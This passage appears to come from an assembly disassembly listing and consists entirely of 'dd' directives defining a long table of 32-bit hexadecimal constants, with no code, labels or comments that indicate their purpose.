		dd 1528D7B9h, 0AF227AC3h, 77B9958Ch, 88C45C10h,	638DA3D4h
		dd 0C95B8B10h, 7F58E67Ah, 7B390322h, 0A2B2C939h, 0DA017BA8h
		dd 3AB1F3B6h, 7B84A3Ah,	24625B0Fh, 8CC922F6h, 0E65867A8h
		dd 3FE18E83h, 0B6E0BA79h, 0DBFF1947h, 0BA59687h, 0D4C1C798h
		dd 25450769h, 1B6144B6h, 0E1F58407h, 935A8EFEh,	9BCA375Bh
		dd 14842556h, 70AEA18Ah, 44202ED0h, 39C0E327h, 460E366Fh
		dd 8C875FD3h, 2FC197EEh, 0D861005h, 146A6ED0h, 0C6C4ED77h
		dd 9D51E207h, 30A24012h, 9AB6EFF5h, 0B7E91102h,	0DE60D6DDh
		dd 8713857Dh, 23F90DFBh, 522AA688h, 0C6983E42h,	0E5E358CEh
		dd 52822E83h, 8E284702h, 205ECC81h, 22671CD8h, 0EE85F30h
		dd 82D06992h, 70B3EABCh, 0D5C40D59h, 9B18C2D2h,	44F14E5h
		dd 80DF663Ah, 0B4CDBF44h, 0EB874DAAh, 1B27964h,	8ADD3FF1h
		dd 3BD61FEEh, 3B283556h, 895BF72Fh, 8F3E3FCBh, 79DA4F09h
		dd 0AFA09F64h, 0FDDA08ACh, 62E26363h, 60A6F078h, 6523AD5Bh
		dd 3C4CBD66h, 862582CAh, 24159C4Ch, 9A02A0D4h, 8FA5EE0Bh
		dd 53773FA3h, 0DD79C431h, 0FF820C80h, 0C81E13F4h, 97DD690Ch
		dd 0C0F10B75h, 214E4F43h, 89BB7EC4h, 8A15CB2Ch,	0C9034875h
		dd 0E8C65F24h, 0E9558184h, 405ACAAEh, 642FB94Dh, 2186DA42h
		dd 94EA1ED4h, 0BB0C9D5Bh, 0EDCBD73Ah, 0B01B256Fh, 32182AF3h
		dd 2C4597D4h, 885F9A6Eh, 0BB75F500h, 2573688h, 8134E49Ah
		dd 0B3D44A5h, 8AE36A7Bh, 6F0C4F7Ah, 813AC132h, 96A7C54Ch
		dd 0F5E87B5Eh, 442EE78Fh, 0E1C5E57Fh, 0DB653508h, 45F1D17Ch
		dd 8EEE3737h, 0C15BC41Fh, 8EC81CC5h, 790BACA9h,	1BFCCF96h
		dd 78ACCBA1h, 5768DFB9h, 538D064Fh, 0A1B0DFE7h,	5AEB47h
		dd 1957B425h, 0D0FA7282h, 68624B95h, 328DA868h,	193D27C3h
		dd 0E39B7557h, 8999AAFEh, 838E978Bh, 655D5FABh,	0C31355E7h
		dd 37BA8E0h, 61461507h,	0F1E5435Ah, 195C7163h, 0AEDC49D6h
		dd 80A6EC2Dh, 0DF27C54Ch, 0E7108480h, 6049F3CEh, 51C46E05h
		dd 337DB01Ah, 0EAE1FA33h, 0FC8656Ah, 3CAEA18Eh,	1A341CDBh
		dd 0E3D4C66Bh, 56A2E351h, 7CACCBB9h, 4808FA9h, 0F462E6BBh
		dd 1CAC7F51h, 3FBAE81Ah, 2233B15Ah, 6179BFFDh, 0BA6B467Ch
		dd 0FDD06F1Bh, 7F11F9E4h, 4D72B399h, 0DB9F7AA6h, 0D33DE42Dh
		dd 5DB4A68Dh, 0D303A128h, 86FE4388h, 9470CCCh, 732D1FFFh
		dd 7B631B10h, 868986EDh, 8338352Eh, 24C31C15h, 91EE64A0h
		dd 430C9B1Bh, 36C02EFAh, 1345B01Ah, 0BB112E81h,	7054E9EBh
		dd 0D19ACAF1h, 33BEB875h, 0EE428C20h, 0B2A52E6Bh, 86A4CB34h
		dd 0F2008F7Ah, 4BA8F98Dh, 99A00B97h, 905A3B44h,	0E4E628CDh
		dd 147BED6Ch, 3E038087h, 3827F4C4h, 0F9B8CFDAh,	0B2F57048h
		dd 0DAF2AA83h, 5EB9693Dh, 0F2A959A8h, 0B873D3BFh, 6BAF1C5Ch
		dd 7164A167h, 60CDD132h, 67FA861Dh, 0A9DAE6EDh,	7F86036h
		dd 6549B097h, 9DF28425h, 0D22DF3B4h, 695BDEFBh,	1641C4CEh
		dd 84E12E39h, 49898CFCh, 0B79E7789h, 0E137ADD0h, 221F3B57h
		dd 0DA899044h, 44CCDCAh, 0A806DF43h, 0EB188BEBh, 814FF530h
		dd 4041A547h, 0E96B0FAAh, 0EB9999F9h, 0EF82A87Fh, 0D3C83BEFh
		dd 293EEB6Ah, 0B2723727h, 2157C233h, 173D9682h,	841C06FDh
		dd 86C4D12Ch, 30FFB01h,	89747137h, 60EDC0E2h, 0F28A7FF7h
		dd 92C939C6h, 8B6A157h,	5AB6A54Ch, 9B426CF0h, 0A32C0CB4h
		dd 72E956EBh, 0A3ADA0CEh, 0E2CED148h, 6F68E28Eh, 0AA8EB6F6h
		dd 30370021h, 65C35411h, 9EA7FE96h, 8FA44B04h, 12FF70FDh
		dd 0F517DFh, 0D9A005C3h, 0FFA52EC0h, 0E4B7D9F3h, 4486629Fh
		dd 8409F8E9h, 6FC3432Dh, 38560F16h, 5AF27537h, 256451ECh
		dd 3BAFADDEh, 0F2BAA5F9h, 2CFE68A8h, 0FD37E877h, 8D0DF2E8h
		dd 0E9D82007h, 0BBA2F678h, 41B1D912h, 4A3B6939h, 58A9C5C9h
		dd 6FE3845Fh, 6FB0F51Bh, 569CBB76h, 331D4F31h, 0FB2134F8h
		dd 26203E5Ah, 4F0E49EBh, 0DF57E3ADh, 3FF1F88h, 0C1A596E0h
		dd 1044A345h, 1C8D9F16h, 3462E73Bh, 0BFEED00h, 9903ECAFh
		dd 8432D727h, 0EB296E80h, 85ECB8B7h, 594BB32Fh,	3B566F12h
		dd 5AF5B53Fh, 2564D19Ch, 5AACAA3Eh, 58800681h, 805F6B49h
		dd 0D8B655DEh, 6E4F8C54h, 60AC7DDEh, 778B369Dh,	6CB3E912h
		dd 9AC42948h, 0B948B9FCh, 0DBE1C129h, 88AF878Bh, 4664AEEEh
		dd 0F8028DDEh, 34242E8Ch, 70D412FFh, 0C2A2E91Dh, 0DD52603Fh
		dd 0BCC7E75h, 8AA5452Bh, 108E35FCh, 0B3E9D6D9h,	0EA9D075Ah
		dd 9916EC66h, 40DF0CD0h, 0E52AD5A5h, 2391957Eh,	1151F6Ah
		dd 0B05DC4C1h, 0D13E5F0Fh, 4D8A1D9Eh, 0DA4D252Bh, 3BA8918Dh
		dd 30515BD1h, 2CF470BFh, 30E8087h, 0D94C0517h, 0E5B20CA9h
		dd 4C6B5A5Dh, 94A66EBAh, 9E4F29A7h, 0AB9B7124h,	90BB6CB0h
		dd 0A7EC0CB4h, 0A96BC691h, 0E74E5026h, 0E81AB73h, 0DC990F18h
		dd 4F76590Bh, 78481CECh, 9FE2BB9Bh, 9B5D150Dh, 1D7DC99Ah
		dd 7DC56170h, 531EF484h, 60A2692Fh, 4DB14459h, 9BC7D643h
		dd 0EB86EA81h, 72DB5BF9h, 4F2C1345h, 0FEB140F5h, 0BF0CCAAAh
		dd 0DA5F5D1Bh, 11DF86EDh, 0E6C6A512h, 0AD480BDAh, 5B7F0BF6h
		dd 8AA401C4h, 91923961h, 23EAD5C4h, 60AC46EDh, 0FC7C5F13h
		dd 0E50531BAh, 861F57BFh, 3875D1A0h, 7786704h, 0BD5A4F30h
		dd 53235A4Eh, 7317940Bh
		dd 0E7AA8986h, 0DDC3B5F5h, 0E2D0C6EEh, 7ED196C9h, 0E74D210Fh
		dd 0D91575C6h, 0D38D0860h, 0A1B0CC15h, 0FF9BEFC0h, 37D95554h
		dd 14AC8F11h, 450BB89Dh, 508214FAh, 38CCF71Eh, 0A7867517h
		dd 0CA8D57CBh, 3BFB6536h, 0F29D5AAEh, 0AC4F2155h, 0CB48D98h
		dd 9D3ADB92h, 927380A5h, 5FAB7A9Dh, 77A5A567h, 683A9582h
		dd 8F991424h, 4BBD6CB0h, 37E00CB7h, 768C2577h, 0D1F6EE96h
		dd 0A8A27362h, 0FCF87A8Fh, 7B765902h, 4AB7E317h, 6F174F70h
		dd 0A6E07F79h, 27CF2A80h, 0DC00FDAh, 0E39C62B1h, 81B0EF64h
		dd 3CF61557h, 31DA1AABh, 4F7E6162h, 0ECBC1B4Dh,	0ABDB49B9h
		dd 0C6F9A5EAh, 0B212ECE0h, 0DA7D1F7Bh, 7F85902Dh, 678B5591h
		dd 0C4BFE0C0h, 13674583h, 62CE82FFh, 62EA885Ah,	710ADD14h
		dd 0EBDA7915h, 6EC579FAh, 814AB998h, 0A56D4425h, 0D7695220h
		dd 0C795D6EBh, 87CC4F36h, 3B611EBBh, 49988F15h,	4007B6FDh
		dd 23C7D326h, 0B79E4F1Dh, 0C2B0687Eh, 0EE5CD58Bh, 0E84C6126h
		dd 8E625804h, 0E1B0E230h, 0B4320742h, 1B22085Bh, 1482896Dh
		dd 0F02AC59Fh, 6951E319h, 0E1D0CF7Eh, 0EB870AC7h, 31C85D32h
		dd 1FE073Dh, 0C571452Dh, 0F5447480h, 0F34F3977h, 0B90C0517h
		dd 3631EC9Eh, 5112CB1Eh, 505A0912h, 24CD60D4h, 1A1F0617h
		dd 0D449D445h, 0FBD50579h, 0FE943E29h, 67620F31h, 9DCBC6D6h
		dd 0CC0D98FAh, 13764188h, 0A6481AE4h, 851237CBh, 6CA58E2Fh
		dd 248E11A7h, 0ECC66309h, 951AC70Ah, 58B09ED0h,	40A9369Dh
		dd 9B37EEB8h, 0D7FB8687h, 74D20D03h, 604EAB0Bh,	39ACBB75h
		dd 87D0350Fh, 321E2BE1h, 2F69D0D1h, 0FCD292B4h,	25A6FEEAh
		dd 5D27F1CDh, 6D3333FFh, 432A98A4h, 0BA673D14h,	0E157B722h
		dd 7855A922h, 7D554599h, 79E43B26h, 0CFBF9915h,	3680CECBh
		dd 4469A506h, 7B343EEFh, 8D0217B1h, 9C2102F0h, 0E2750F57h
		dd 0A994B8F6h, 0EB660E2Ah, 57114B9Ch, 252A35FBh, 0A99EE111h
		dd 7C5F0910h, 59A7FA97h, 35E4D43h, 0FC667DAAh, 7B058FC9h
		dd 0D3FBC154h, 29F9EF4Eh, 4D146108h, 50AB523h, 0EC145E29h
		dd 11955C91h, 4C87D140h, 0CCBF35F0h, 8A712D92h,	5068AEB3h
		dd 55654B62h, 844322Fh,	64216AC9h, 6BD5D0B5h, 0AC1D94A4h
		dd 0D51E0CBFh, 0C604568Bh, 0CDF2A0E9h, 0E4A1D223h, 173CA600h
		dd 0C16AB079h, 0EF1F1156h, 6B4EC4F8h, 4B4DD7ECh, 6B2055Fh
		dd 0C900D63Eh, 0B46095D5h, 8E971ACh, 9B0904AAh,	0A775EE25h
		dd 97AFF826h, 9A10816h,	0B82CBAB2h, 8FD603B2h, 0B2B3BB3Ah
		dd 80844090h, 0D51D16A9h, 8C916CEEh, 0A326B685h, 7ED5DAE2h
		dd 0C6EBB9F7h, 49B34353h, 26E62162h, 0C5DA221h,	0EE74EA7Ch
		dd 0B990C6ACh, 1EA809F5h, 0F4E6F082h, 0CA7D888Ch, 3E36B290h
		dd 0F292292Ch, 16B6449h, 0CBD75539h, 4B333884h,	3D037A8Eh
		dd 40CFB497h, 5FAD50DAh, 29087F59h, 0A461CC87h,	2ABADC10h
		dd 430BE7A3h, 0B7CF89F9h, 945E28F8h, 817C2900h,	786491C1h
		dd 3DB1DD2Dh, 774D512h,	84102C00h, 0D885706Dh, 5589EA9Ah
		dd 0B3BFD2BFh, 0DC00173Eh, 0F2CCE962h, 6CB14CA4h, 0B5CEBE59h
		dd 47112E22h, 72551670h, 0CBBF7347h, 1AFAF167h,	701A0C2Ah
		dd 8D24FA18h, 91287255h, 0FF9279EAh, 0B626D57h,	99610172h
		dd 0E9751555h, 9C94CCFCh, 2B652A1Eh, 0E08D542Bh, 367DEABFh
		dd 1A7CBC7Ch, 0D8EDD813h, 15965746h, 377CFB24h,	49C95E24h
		dd 957793E8h, 0B84C85C2h, 0B498EAAAh, 4FEBC82Ah, 4DE02E86h
		dd 57658F39h, 0BB0AA229h, 78A6A4BFh, 0D421F763h, 2C616B50h
		dd 96DAFD3h, 0EFE58599h, 18ED466Ah, 0A111AD5Ch,	0E0FF4CACh
		dd 3F828465h, 0D8A7336Dh, 0AB965CDh, 0B1307265h, 841DA88Ah
		dd 0D8E864CEh, 8C551429h, 0CAB2760Dh, 0D2E8C8FAh, 0D32EAF6Eh
		dd 0F8B28EC3h, 24895BCDh, 0C460756Ch, 0B5E59075h, 0F6C1804Dh
		dd 0B4D1E356h, 0EBFBB485h, 0E099491Ah, 3E316A09h, 0C5861B56h
		dd 4B1BF2DEh, 2FD9591Ch, 0D59B7BEFh, 82652B24h,	39C5EBFh
		dd 2B5B2E0Dh, 76BBADE9h, 0D0F138B3h, 22745FFAh,	4E0BB13Ch
		dd 0A4A36927h, 70FA034Ah, 0EA0F7B67h, 64367696h, 9C2CC154h
		dd 0B7E83C29h, 0A41ED6B4h, 0C8028CDDh, 0D9DBD01h, 21777408h
		dd 4612FDB1h, 56AC370Ah, 16B2553Eh, 0A9035722h,	0BE604ED6h
		dd 6E4A60A3h, 0C6B33D54h, 0CCC80AACh, 97A5FEA1h, 9B0422h
		dd 4455E12Fh, 3B5FC8CAh, 0C82F484Fh, 4419266Fh,	2563A980h
		dd 68FEA992h, 4B77173Fh, 6CD02577h, 1B44F9C7h, 0F0D177C3h
		dd 678CC7CBh, 0B8D57929h, 98D6ACE0h, 617EBABAh,	1501211Dh
		dd 1DEB0CABh, 79D3D126h, 0C518DA7h, 3A1414A7h, 8BAD09CEh
		dd 21EBBE7Eh, 20C80CF0h, 0BCF8AA83h, 3AF4A8F1h,	6F4D84A8h
		dd 5EBFDC8Eh, 175B8D23h, 0A5BA713h, 8F56F0D4h, 0E422CA28h
		dd 995F6F6Ch, 7AD1DF62h, 530D5A06h, 0C5C5E38Ah,	357633C4h
		dd 0E604A943h, 0B1997118h, 8B0C242Fh, 0DC645CBBh, 64A34DFh
		dd 27E70AE9h, 630E5657h, 0A321681Ch, 0D051732Ch, 9DD819A3h
		dd 8B2995BBh, 1D0D4670h, 0EAE137ABh, 7AAA3178h,	0CF5DB14Ch
		dd 8AFCD160h, 0CB0D32F4h, 0CE43C4F6h, 0AA3CF50Ah, 0BBE8D8CBh
		dd 0A35BB0ABh, 2BC8AA0Fh, 3EB74h, 1498CEFCh, 0D3F11EDDh
		dd 40390EABh, 0E9241756h, 0EBA9FFE9h, 6D75541Fh, 44B5FF14h
		dd 0BF16F419h, 6B3ED88Fh, 4B0AE6B7h, 276509F8h,	1060F812h
		dd 0D1665303h, 37445B01h, 0D3F90EE9h, 0B3C3D42Fh, 173B816Dh
		dd 0D2D5BC27h, 6DA1ABA3h, 8792F43h, 0B7F7EE92h,	5207F746h
		dd 2DDFC14Dh, 0E0ACA5BCh, 153128ECh, 0B4938576h, 0CFD15A86h
		dd 3037F352h, 0BEC0A2FCh, 34A4B8FBh, 0A0C83802h, 0C1FC34F5h
		dd 39B666BBh, 0F538E50Dh, 7F908BE7h, 0E01FFFF4h, 153C196Fh
		dd 7EE37D6Ch, 0EC2AC502h, 0C538137Eh, 0C33EB4C8h, 4F85E626h
		dd 0D99E7542h, 8A50052Dh, 48652BFh, 0B731735h, 0D5018DE9h
		dd 573E669Ch, 23E1B16Dh, 5FBFD92Fh, 96F3ECA8h, 32293ABDh
		dd 193E0E7Ch, 6B3570DFh, 2813FFCDh, 0B84DB483h,	30AC25A2h
		dd 74B7895Dh, 0FF7F9A9h, 0B34856C8h, 8291D7FDh,	5B757109h
		dd 0CECE8507h, 66FAD0D0h, 0F114019h, 7BA39511h,	1FFA802Ah
		dd 3407EAA9h, 0D674F338h, 414E031Dh, 0B7AAB7F3h, 34D9BA1Ch
		dd 463B7D3Fh, 36F1B1D6h, 0C6C8A642h, 0A8796AE8h, 0C5896A43h
		dd 0EC02CD47h, 0F58C8915h, 73653ED9h, 0E2EE5E6Fh, 26407CA6h
		dd 3BF3D6D2h, 9BB92699h, 0E8390709h, 0F5FC3261h, 0BE1833AFh
		dd 52600918h, 0A050D8D7h, 462C1B54h, 0B5A45DFCh, 0D960FBF7h
		dd 0BCEB1E78h, 0DFA833FBh, 0D9C19ADBh, 68050B1Eh, 0DB940C4Bh
		dd 8A77A8B2h, 8F7DF294h, 0E4FA9A57h, 9AEF776Eh,	7A3E2766h
		dd 504D7A3Eh, 0CB45A19Ah, 4E76B3A4h, 0E805A883h, 0AF9F769Eh
		dd 0AA7E7C91h, 0D88CAFBFh, 6480C794h, 0F4013B19h, 0BC710CA7h
		dd 585CAB1Dh, 0B0566D4h, 93E20EC4h, 6BBC468Fh, 54F1446Dh
		dd 7FF5F00Bh, 61918ED7h, 1F424B73h, 0EB9228Ch, 86088EF4h
		dd 3464547Dh, 925FFDF7h, 19EB2CF6h, 0DF546AF3h,	0ABCB1AE0h
		dd 76386062h, 0DF6A30C3h, 24621056h, 2A7D6687h,	33F87953h
		dd 620A1A04h, 6220B17h,	14E33607h, 5E9A7088h, 0A0BA3D2Fh
		dd 0CD61B07Bh, 0D367A915h, 5F402913h, 58833E29h, 0E186AC87h
		dd 0AC677793h, 24E9ABA3h, 93BBFEE0h, 59197DA9h,	132CA6ECh
		dd 697B456Dh, 2309015Dh, 9BA70D03h, 4E1037EAh, 3F203DDEh
		dd 738ED893h, 549DB04Dh
		dd 4BB5AB12h, 3D60AD65h, 0BAFB5288h, 0CEF41883h, 98B10E03h
		dd 98118FADh, 0BB958D6Ah, 4A7EA8F2h, 747DF31Bh,	61491DF5h
		dd 0E819EA9Fh, 756017BDh, 0D2C5253Eh, 8B751781h, 35065892h
		dd 2A63779Ch, 0AE638927h, 516ABE68h, 0BC8FA942h, 0EB6774FEh
		dd 0C668D89Fh, 46B3769Ch, 46646491h, 0E2D90E2Bh, 90D986D6h
		dd 0D0939591h, 5D077B16h, 8710E634h, 0CD0C30E9h, 656442Dh
		dd 0D5E4AEB7h, 0D8378F73h, 0CB195B10h, 0DA32280Fh, 41EB34CEh
		dd 0DB521AC9h, 9C1E3AE8h, 86FF4393h, 5A1F27A2h,	5C498492h
		dd 4384EC9Ch, 0D3FF1D97h, 0E801E5ECh, 3012BC11h, 47D52937h
		dd 0DDA6257Dh, 35C22904h, 4E07A390h, 0DADA82FDh, 4F82A3ACh
		dd 0D53AA590h, 0E3633171h, 9B196646h, 64A0F4A7h, 0FC04CFF5h
		dd 232EF6C2h, 7E66AAACh, 9EFFF262h, 8C067B15h, 0B00B470Bh
		dd 5A62CF1Fh, 6C2BBB8Fh, 0AA6EDD47h, 328A9F18h,	8FDC5687h
		dd 326E4A1Ah, 0F81BCF34h, 0DD5F61F5h, 0EAB18414h, 9EFB0ED6h
		dd 9B446325h, 49EEC4A2h, 44F9DC9Bh, 6145FFDFh, 0E8012E9Eh
		dd 75509FBFh, 0D33A3532h, 8B0BF7FEh, 367A1882h,	2B14F7FCh
		dd 0B07288E4h, 8D24B1E8h, 2D5E2F4Fh, 3E78CC87h,	8CB495C7h
		dd 95B0AB44h, 0EED2DFC8h, 0EF8BF17Dh, 0DB7C16ADh, 0A6F6CAACh
		dd 45FA84E0h, 3040B320h, 958D6907h, 95926F4Eh, 75812656h
		dd 7696898Fh, 81442DF4h, 706C95FDh, 46A1756h, 28A46F33h
		dd 5E30D76Fh, 6900F78Dh, 0EE18647Dh, 2E5FDF2Ah,	0E59265F4h
		dd 0E70D50EEh, 52779BACh, 8A246110h, 0B9C46145h, 0CD734FFAh
		dd 327D5282h, 35A418CCh, 30A0B08h, 0CE3F5B53h, 0EC8CB804h
		dd 5054088h, 938D9116h,	80836EA3h, 4B3B42F2h, 37D6BC73h
		dd 0B5D05625h, 0D5C98C84h, 9372DD1Fh, 2B83294Dh, 101ECE7Ah
		dd 7C5E31CDh, 0D66A1797h, 816AC95h, 70DF536Ah, 3149A4EDh
		dd 4D10CC49h, 0AB29C7F4h, 0A8B12D1Bh, 0AD710F9Eh, 842B1A85h
		dd 3D64A30Dh, 85827F6Dh, 1BC3C010h, 9272B11Eh, 7A1B6311h
		dd 792F2D9Dh, 0B6F87F48h, 9023A33h, 3CC1045Dh, 0B7E58DD8h
		dd 0B21043BFh, 2DD66928h, 0AD3D6F87h, 8F5B6DEAh, 96905C5Fh
		dd 0B636ECF9h, 0F0DE313Ah, 597096ADh, 2D6D1462h, 49638708h
		dd 0EF76AB36h, 1E438B47h, 0C57037ACh, 49A85295h, 29A08B63h
		dd 0A9E0575Ch, 3CA6D33Dh, 0E14A93E1h, 0CBF9785Fh, 10AB5FF2h
		dd 8F57DDA9h, 0C84E0BCAh, 92A0DF70h, 0C08A3103h, 6C53BD44h
		dd 9EEF4B93h, 0C0696C9Fh, 0FC4A2247h, 356DC1C6h, 0C6875617h
		dd 0A0F008D3h, 5BEB92BDh, 5DEE6FB7h, 2DD547A8h,	91396D07h
		dd 0E35369EBh, 0E42EDE9Ch, 3BD73ED4h, 0CAC0096Fh, 5AF9F517h
		dd 0ECAB2D6Ch, 0C12A94E0h, 0CF360D3Dh, 7CA83004h, 0A27DC135h
		dd 0DE72D6D0h, 393877E6h, 65A05C92h, 2D375948h,	0BBC47688h
		dd 0BCFA7CD8h, 2172944h, 29541718h, 0A46AF077h,	3429456Ch
		dd 40FF5F9Ch, 0D99498A0h, 98BB29Dh, 7FA127D4h, 49CB6F88h
		dd 2773F12Eh, 33C2FE68h, 0CA01AE60h, 765C778Dh,	0BDE51CCAh
		dd 573B5740h, 0A6DF6B3Eh, 765B952Ah, 99078EDFh,	0C3A7BE91h
		dd 0BA151419h, 86230102h, 86353A93h, 0AAD618A0h, 92DC0550h
		dd 0F1FA107Bh, 0A97517F5h, 0FE603695h, 3B1877E6h, 0F19F8C0Ch
		dd 858A73A0h, 0CC14CC94h, 577FA51Ah, 834B61B0h,	9914F1A5h
		dd 1E6A3AD7h, 41A0D369h, 0BFC1BA4Eh, 683638AAh,	318A8FE7h
		dd 75ECB147h, 3AC772B3h, 35F7FD0Fh, 0FC79A97Fh,	0DAF112CFh
		dd 0CC529515h, 0B304E713h, 8E2EBF78h, 152466BBh, 53ACE3FDh
		dd 793F4B54h, 0B79731F9h, 4ECE513Ah, 6AF1A952h,	3E9F4DCDh
		dd 58DB27F0h, 83CFE2C9h, 4FCF2Fh, 0FE6A58B0h, 16012A90h
		dd 0F0E72707h, 712FA0E3h, 4BC8F4CBh, 61902472h,	0D2276B33h
		dd 47F9D9BFh, 0B1F4FDCEh, 37A8B9BDh, 0B1B02385h, 8DB3492h
		dd 47E2BA25h, 7FFB091h,	0B01B842Eh, 0A9C796B9h,	35D78C4Eh
		dd 0C1045147h, 93A8C2E3h, 3BED0FD2h, 1DFB3E5Ch,	0FDF4A910h
		dd 5C7F6778h, 6323BD93h, 69D7CBFDh, 0C3AC0B81h,	0B6F9F878h
		dd 76617952h, 0E9AA489Ch, 5D9509B0h, 79299899h,	85A330C6h
		dd 7107B49Fh, 0DD8926FFh, 0CFD877C7h, 0B11FA8E7h, 4323B124h
		dd 6691DC9Dh, 14CEB5B8h, 0D3BE9338h, 0B96EF50Bh, 0B45FDBDh
		dd 65D5DC75h, 3DE22D38h, 110DAA95h, 8BEABEE9h, 0EFF4883Bh
		dd 49EB72B6h, 20F8D122h, 0D98675F3h, 0F29923F9h, 0CCF879CDh
		dd 4D171579h, 0FD832AD0h, 98D08A87h, 3F9486A2h,	6945CB36h
		dd 0B75871F9h, 485F913Ah, 0F7AB2952h, 14911560h, 0BED17840h
		dd 172B3AA1h, 29BDCFF9h, 1345B409h, 5F114C95h, 97A848D2h
		dd 0F151C30Eh, 33F327DBh, 70133CDh, 7AB49432h, 0FF4ED67Fh
		dd 5DACE49Ah, 23FD2ADDh, 19B02245h, 7F858B6Bh, 8EF2D30Ch
		dd 58092A9Ch, 0B80C9AC7h, 3AC71EB7h, 0CA57C5DAh, 0C97A3952h
		dd 0C9196A93h, 2617391Dh, 5DEAC584h, 0DDE276BFh, 21D28C87h
		dd 3F908AACh, 39A313D9h, 0E7C02B1Ch, 16695CA7h,	0C357DCADh
		dd 7106D56Ch, 2C2D7B5Ah, 0D2A4FE0Dh, 49D0CF7Ch,	5CB5B89Fh
		dd 7EFED921h, 0A203B19Eh, 0D499213Eh, 0D961E150h, 2D108A15h
		dd 76F29CB1h, 0A9C8BE89h, 7CECE179h, 68953AC8h,	2EF02E40h
		dd 40869F12h, 0E53520Ah, 0E7C72B1Ch, 901B9CC0h,	0A9C7EE17h
		dd 0C53BE4E5h, 0BA6EF94Fh, 930E9D0Bh, 0C3D5DCFEh, 0A5EAA8ECh
		dd 2DDD42F4h, 8C67C0D8h, 8EA02CFAh, 89206888h, 48B25479h
		dd 0F262D1D5h, 0D6C356ADh, 0FF79446Ah, 0AC2FF4F5h, 812F98D9h
		dd 5EF6D8F9h, 301C4B0Ah, 57C13236h, 377D8807h, 22CFA81Ah
		dd 0FF823532h, 52FC9563h, 0F65B6B05h, 8B11461h,	900211DEh
		dd 2B8252DDh, 0C14832B4h, 5985C0D4h, 1B448B32h,	7DFF2E60h
		dd 0C8B3E6C1h, 802F06BDh, 0B607D91Bh, 36D6F5F3h, 0CA0DE2B6h
		dd 59E9D34Dh, 788350ACh, 0C345D40h, 863E808Ah, 9AC401D2h
		dd 1CD7E25Ah, 0DF362491h, 5571800Ah, 32E662BAh,	0F2D466Ch
		dd 0AD2CC843h, 833198D9h, 0AA5958F9h, 64A5A4F5h, 0C421269Ah
		dd 0D8187BD3h, 32E308F4h, 7F48CECAh, 0A2E480AEh, 0CCB16BD1h
		dd 705ED671h, 99F4E54Ch, 0D8E13AE5h, 0E1B4175Bh, 0D5852F47h
		dd 74F2443Ah, 0E7EB609Ch, 0EDE490C2h, 0A9C7DAAFh, 0CAB37BFAh
		dd 886E90C0h, 9F2A35Eh,	3BCD3A36h, 3AEA43EFh, 0A8FFB1F4h
		dd 15305287h, 625F4D9Dh, 77C8EBFFh, 0A2D90E81h,	555105DEh
		dd 32412938h, 3342604h,	0AE5F6CF0h, 2BB0F2C9h, 969C93F5h
		dd 9B5EA4F4h, 8894887Eh, 47E846E8h, 3E5FA423h, 0FCEB8125h
		dd 86EBDC9Bh, 0AA46922h, 12AAF370h, 0A4FBE175h,	0CB95C715h
		dd 8C4C072Bh, 0A5852EA7h, 0F4F24AAAh, 0EA0B6361h, 0A01B92C3h
		dd 0A9C7F379h, 0C8FC0CF1h, 0EC79C927h, 0DAF27D43h, 0CDED1B62h
		dd 68172B2Ch, 3DDAB148h, 0FB3EA178h, 43801516h,	66F70D4Ch
		dd 49C20B6Eh, 60CE892Ah, 226A174Ah, 0FCF4E093h,	862194E0h
		dd 0FD350CE9h, 53B01506h, 0A342A4F5h, 7741D8BEh, 992452E8h
		dd 9660B8E1h, 91B75AEAh, 5E20E965h, 0C15B84C3h,	0FB4E28BDh
		dd 45C83DC5h, 6759F629h, 9D6CEE08h, 4F168D4h, 5BB3Fh, 0D176573Ah
		dd 963A6C9Ah, 309E0283h, 41DBB4C9h, 405CA021h, 9D32D282h
		dd 991D2974h, 0C43833B3h, 0EE821618h, 513FA0Ah,	0E5968843h
		dd 20ACE3B0h, 438BBDC6h, 4D4C32D5h, 0CA566AD1h,	26B456Fh
		dd 48CFF160h, 0E337E769h, 0A986303Eh, 0CC4CB4F5h, 1C712695h
		dd 0C52FFE14h
		dd 8C205706h, 0FE7429A6h, 2CE88913h, 6B582F98h,	0E1B9D2F0h
		dd 0F104F10Dh, 0BB18BFE1h, 0B72B22F4h, 0FCFC4A6Dh, 0E4022E7Ah
		dd 60F96189h, 757427FEh, 0BFFE1685h, 0B9A12B71h, 0F09639E7h
		dd 1A65CC65h, 0BAEF5E5Eh, 5E0CCAE9h, 2D28DDE1h,	0A30B197h
		dd 86F4CD81h, 7428805Dh, 3C064B18h, 7419A96Fh, 3D1AC9F3h
		dd 72EDFC7Ch, 514425F5h, 0E700E2C9h, 265CA7F6h,	762EB515h
		dd 7724AF92h, 6964FCh, 0A0FA811h, 5220ABDFh, 2D152C1Ah
		dd 0A52D9205h, 130B5D75h, 0F2F0B488h, 2523A10h,	5058B5DAh
		dd 32F34020h, 1E7B4CB2h, 9C0CE01Dh, 8513A48Bh, 39C7FA87h
		dd 341D040Dh, 8C02091Fh, 0CBFCA8EFh, 0ABC7F4EAh, 750FB59Ch
		dd 0A6883DD0h, 10E376C2h, 76CBE986h, 60671B65h,	3B1A5B1Ah
		dd 4322F53Fh, 363A1042h, 0EDE995FBh, 669C0DE1h,	82B0E522h
		dd 0F59DBB05h, 785B405h, 67062986h, 7A99797h, 0B6D6AA23h
		dd 0F3722F2Dh, 0EA9FF17Ah, 42B11ECAh, 0E65ED197h, 0EA1D85D5h
		dd 8E1EC4DBh, 0E1A0CF88h, 17755119h, 0E5120E8Bh, 9EFBAA1Bh
		dd 920FAA8Ah, 323BBB02h, 35F02D6Bh, 0C6992017h,	2A6FD394h
		dd 3512BC1Ch, 0C7EE70A5h, 683FBB05h, 0F92F077Fh, 0EF33559Dh
		dd 3323FF19h, 3BA19B6Dh, 4775E16Fh, 399DB5D7h, 0CEAC57Ch
		dd 6F9F0FE0h, 3591F7F0h, 28F120F9h, 2362B21Eh, 0B781D63Ah
		dd 0E478DBB5h, 39A32BF3h, 93B75481h, 2F11B990h,	0AD892CFh
		dd 9EC5E692h, 91447925h, 0E07D7D0Fh, 942BD751h,	0BC38C8ECh
		dd 0EF1ED893h, 5576835Dh, 7DA1D730h, 0E542F600h, 0E10918Ah
		dd 0C4FC954Ah, 411426B8h, 275A1728h, 4CEEE869h,	0A48EDDD0h
		dd 78C4F7Fh, 0A4EACB9Fh, 4D0461D5h, 0B07666ACh,	78A04E3Ah
		dd 385D396Fh, 0AD77327Ch, 84DB746Ch, 4C3035F0h,	7860B329h
		dd 0C575F17Ch, 27258785h, 3516714h, 0FF0F3FECh,	0C4B4A53Ch
